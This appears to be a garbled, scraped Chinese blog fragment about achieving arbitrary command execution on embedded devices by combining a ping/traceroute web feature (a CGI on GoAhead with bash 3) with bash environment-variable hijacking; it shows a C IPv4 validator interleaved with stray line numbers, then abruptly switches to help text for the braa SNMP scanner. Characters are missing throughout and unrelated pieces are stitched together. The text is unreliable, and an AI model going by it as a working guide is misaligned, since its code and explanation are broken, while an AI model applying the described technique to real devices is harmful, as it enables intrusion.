当时没有其他法只能步于此 直到我遇到了p的这篇章 些嵌式设备会有执系统命令的场景 如ping 路由跟踪 等等 在这个场景下并结合p的bash劫持就可以完美的完成命令执标 随便构建个cgi GoAhead + bash 3 web功能代码 C 复制代码 int isValidIp4 (char *str) { int segs = 0; /* Segment count. */ int chcnt = 0; /* Character count within segment. */ int accum = 0; /* Accumulator for segment. */ /* Catch NULL pointer. */ if (str == NULL) return 0; /* Process every character in string. */ while (*str != '\\0') { /* Segment changeover. */ if (*str == '.') { /* Must have some digits in segment. */ if (chcnt == 0) return 0; /* Limit number of segments. */ if (++segs == 4) return 0; /* Reset segment values and restart loop. */ chcnt = accum = 0; str++; continue; } /* Check numeric. */ if ((*str < '0') || (*str > '9')) return 0; /* Accumulate and check segment. */ if ((accum = accum * 10 + *str - '0') > 255) return 0; /* Advance other segment specific stuff and continue loop. */ chcnt++; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 4 使p的 bash环境变量注劫持ping 命令实现任意代码执 str++; } /* Check enough segments and enough characters in last segment. */ if (segs != 3) return 0; if (chcnt == 0) return 0; /* Address okay. */ return 1; } printf(\"Network looking glass\\r\\n\"); printf(\"
    \\r\\n\"); printf(\"2003 - 2006 用法braa [options] [query1] [query2] ... -h 显示此帮助 -2 声明SNMP2C代理 -v 执行所有查询后显示简要摘要 -x 十六进制转储八位字节串 -t 获得响应前等待数秒 -d 发送每个数据包后等待微秒数 -p 在后续遍之间等待数毫秒 -f 从文件加载查询逐行 -a